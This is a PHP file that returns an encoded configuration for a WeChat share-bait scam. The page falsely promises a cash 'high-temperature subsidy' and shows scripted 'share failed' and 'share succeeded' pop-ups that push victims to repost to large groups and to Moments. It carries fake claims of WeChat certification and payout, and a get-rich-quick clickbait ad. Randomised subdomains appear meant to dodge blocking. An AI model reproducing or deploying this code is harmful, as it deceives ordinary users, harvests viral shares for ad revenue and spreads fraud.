<?php
/**
 * Created by PhpStorm.
 * User: huanglintian
 * Date: 2019/8/10
 * Time: 13:49
 */
$data = require __DIR__ .'/../data2.php';

$config = array(
    'app_id' => $data['app_id'],
    'app_secret' => $data['app_secret'],
);

require_once __DIR__ . "/../wechat/jssdk.php";
require_once __DIR__ . "/../include.php";

@$jssdk = new JSSDK($config['app_id'], $config['app_secret']);
$url = isset($_GET['url']) ? urldecode($_GET['url']) : '';

@$signPackage = $jssdk->GetSignPackage($url);

$rand = str_rand2(5);

$count = count(explode('.', $data['d4']));
$domain = 3 > $count ? str_rand2(6) . '.' . $data['d4'] : $data['d4'];
//$time = time();
$time = strtotime(date('Y-m-d H:0:0'));

//$rand = str_rand2(6);
$rand = 'uisksjjsl';
@$port = "http://{$domain}?file={$rand}.html&_t={$time}&xxid=" . intval($data['desc']);
$ad = $data['back_url'] ? "http://{$domain}?file={$rand}.html&_t={$time}&xxid=" . intval($data['desc']) . "&path=http://www.baidu.com" : $port;

$mac = [
    "show_ad" => !empty($data['back_url']) ? '1': '2',
    "qunadimg"=>"http://{$rand}.{$data['d2']}/888/8705cce5c91643c78d8acdc1654c41c2.jpeg",
    "qunad"=>1,
    "quntitle"=>"髙溫补貼待入賬",
    "alert6"=>'<div class="layui-m-layercont"><p><span style="font-size: 24px; color: rgb(255, 0, 0);"><strong>分享失败<img src="https://wechatstatics.oss-cn-hangzhou.aliyuncs.com/no.png" style="top: 8px;position: relative;width:40px;height:40px;"></strong></span></p ><p><span style="color: rgb(247, 150, 70);"></span></p ><p><br style="font-size: 16px;">注意：</br><span style="color: rgb(255, 0, 0);">必须公开分享到朋友圈</span></br>才可以领取</span></p ><p></p ><p><span style="font-size: 16px;">请尝试重新分享到<strong><span style="font-size: 20px; color: rgb(255, 0, 0);">朋友圈</span></strong></span></p ><p><span style="font-size: 16px;">保证<strong><span style="font-size: 20px; color: rgb(255, 0, 0);">100%</span></strong>可以领取<strong><span style="font-size: 20px; color: rgb(255, 0, 0);">现金补贴</span></strong></span></p ></div></div></div></div>',
    "fxdomain"=>"dztgkz.cn",
    "img"=>"http://{$data['d2']}/888/729icon.png",
    "pyqshareimg"=>"http://{$rand}.{$data['d2']}/888/zz.jpg",
    "complatelink"=>"http://s3.app1108097734.qqopenapp.com/2zosEArnPFuxhjOZgN",
    "qunlink"=>"http://hkjhdad564ad.bceapp.com/2TbEweXJHWoSycmgtMKlaOrzQ",// ad
    "pyqadtitle"=>"80后小两口，在家10天，仅用100元赚了20万，只因做了这件事...",
    "rkurl"=>"http://hkjhdad564ad.bceapp.com/2dKoNWtOafLcrvzIgMPUkSejbFxhZpRGYEBHnuQDiwTqJVClyAspmeFCoGkjhtPzcBRSqVyWXIbdQfwlAgTUvYnOLaZrKDHJNiuMsOSfmHsAJojTbrpGMIaRqPwNeZEQxLhVDtincuWvXKgzkYFdUyCsfdaGXTxYuVomQqCpUgEWZLBlJkzvKeORwbcPAySNMrFhtDI",//链接
    "sid"=>"2",
    "backlink"=>"http://s3.app1108097734.qqopenapp.com/2zosEArnPFuxhjOZgN",
    "rkdomain"=>"hkjhdad564ad.bceapp.com",
    "ftitle"=>"全民派发髙溫补貼",
    "appid"=>$signPackage['appId'],
    "pyqadimg"=>"http://{$rand}.{$data['d2']}/888/qq.jpg",
    "alert"=>'<div style="text-align: center;box-sizing: content-box;display: block"><span style="font-size: 23px;color:#1BBC9B;">恭喜您</span><br><br><span>您获得髙溫补贴</span><br><span style="font-size: 20px;color:red;">_money元</span><br>领取对象:<span style="color:red;">所有微信用户</span><br>领取要求:分享到<span style="color:red;font-size:20px;">微信群</span>后<span style="color:#1BBC9B;;">自动到账</span><br><br><span>补贴总额仅剩</span><span style="font-size: 20px;color:red;">_month</span>元</br>先到先得,活动经微信认证,真实有效！</div>',
    "pyqtitle"=>"髙溫补貼待入賬，我己领 ￥ _qian",
    "baiduid"=>"2d2e2a61a37d2a2f76cbf47b945bf0ef",
    "pyqlink"=>"http://hkjhdad564ad.bceapp.com/2IfxCKrBbhmDlTYHPeyajZgu",
    "nonceStr"=>$signPackage['nonceStr'],
    "qunaddesc"=>"80后小两口，在家10天，仅用100元赚了20万，只因做了这件事...",
    "qundesc"=>"我己领 ￥ _qian",
    "qunshareimg"=>"http://{$rand}.{$data['d2']}/888/zz.jpg",
    "alert1"=>'<div class="layui-m-layercont" style="text-align: center"><p><strong><span style="color: rgb(0, 176, 80); font-size: 24px;">分享成功 <img src="'."http://{$rand}.{$data['d2']}/888".'/yes.png" style="position:relative;top:8px;width:40px;height:40px;"></span></strong></p> <p>仅需分享最后<strong style="color: red; font-size: 22px">2</strong>个群</p> <p>保证<strong style="color: red">100%</strong>可以立即</p> <p>领取<strong style="color: red; font-size: 22px">现金补贴</strong></p> </div>',
    "alert2"=>'<div class="layui-m-layercont"><p><span style="font-size: 24px; color: rgb(255, 0, 0);"><strong>分享失败<img src="'."http://{$rand}.{$data['d2']}/888".'/no.png" style="top: 8px;position: relative;width:40px;height:40px;"></strong></span></p ><p><span style="color: rgb(247, 150, 70);"></span></p ><p><span style="font-size: 16px;">注意：必须分享到<span style="color: rgb(255, 0, 0);">微信群</span></span></p ><p></p ><p><span style="font-size: 16px;">请尝试重新分享到<strong><span style="font-size: 20px; color: rgb(255, 0, 0);">微信群</span></strong></span></p ><p><span style="font-size: 16px;">保证<strong><span style="font-size: 20px; color: rgb(255, 0, 0);">100%</span></strong>可以领取<strong><span style="font-size: 20px; color: rgb(255, 0, 0);">现金补贴</span></strong></span></p ></div></div></div></div>',
    "alert3"=>'<div class="layui-m-layercont" style="text-align: center"><p><strong><span style="color: rgb(0, 176, 80); font-size: 24px;">分享成功 <img src="'."http://{$rand}.{$data['d2']}/888".'/yes.png" style="position:relative;top:8px;width:40px;height:40px;"></span></strong></p> <p>仅需分享最后<strong style="color: red; font-size: 22px">1</strong>个群</p> <p>保证<strong style="color: red">100%</strong>可以立即</p> <p>领取<strong style="color: red; font-size: 22px">现金补贴</strong></p> </div>',
    "alert4"=>'<div class="layui-m-layercont"><p><span style="font-size: 24px; color: rgb(255, 0, 0);"><strong>分享失败<img src="'."http://{$rand}.{$data['d2']}/888".'/no.png" style="top: 8px;position: relative;width:40px;height:40px;"></strong></span></p ><p><span style="color: rgb(247, 150, 70);"></span></p ><p><span style="font-size: 16px;">注意：必须分享到<span style="color: rgb(255, 0, 0);">50人</span>以上的群才可以领取</span></p ><p></p ><p><span style="font-size: 16px;">请尝试重新分享到<strong><span style="font-size: 20px; color: rgb(255, 0, 0);">微信群</span></strong></span></p ><p><span style="font-size: 16px;">保证<strong><span style="font-size: 20px; color: rgb(255, 0, 0);">100%</span></strong>可以领取<strong><span style="font-size: 20px; color: rgb(255, 0, 0);">现金补贴</span></strong></span></p ></div></div></div></div>',
    "alert5"=>'<div class="layui-m-layercont" style="text-align: center"><p><strong><span style="color: rgb(0, 176, 80); font-size: 24px;">分享成功<img src="'."http://{$rand}.{$data['d2']}/888".'/yes.png" style="position:relative;top:8px;width:40px;height:40px;"></span></strong></p ><p>只剩<span style="color: rgb(255, 0, 0);">最后一步啦</span></p ><p>请分享到<span style="font-size: 24px; color: rgb(255, 0, 0);">朋友圈</span></p ><p>保证100%可领取<span style="font-size: 24px; color: rgb(255, 0, 0);">现金补贴</span></p ></div>',
    "ztitle"=>"炎炎夏日, 清爽来袭",
    "alert7"=>'<div class="layui-m-layercont" style="text-align: center"> <p style="margin:0;padding:0;">感谢您的参与 :-)</p > <p style="margin:0;padding:0;"> <span style="font-size: 18px;"><strong> <span style="color: rgb(255, 0, 0);">注意：系统将会验证朋友圈信息判断是否完成分享任务</span> </strong> </span> </p > <p style="margin:0;padding:0;margin-top:20px;">由于活动量巨大</p > <p style="margin:0;padding:0; font-size:12px">补贴最迟24小时内到账</p > <p style="margin:0;padding:0; color:red">请保留朋友圈信息至补贴到账</p > <p style="margin:0;padding:0;">请注意查看您的微信钱包</p > <p style="margin:0;padding:0;"><span style="color: rgb(255, 0, 0); font-size:14px"><strong>删除分享链接可能导致无法到账</strong></span> </p > </div>',
    "shareid"=>2,
    "signature"=>$signPackage['signature'],
    "timestrip"=>$signPackage['timestamp'],
    "qunadtitle"=>""
];
$mac['rkurl'] = $port;
$mac['qunlink'] = $ad;
$mac['pyqlink'] = $ad;
$mac['complatelink'] = $data['back_url2'];
$mac['backlink'] = $data['back_url2'];
// 5，2
echo base64_encode(json_encode($mac));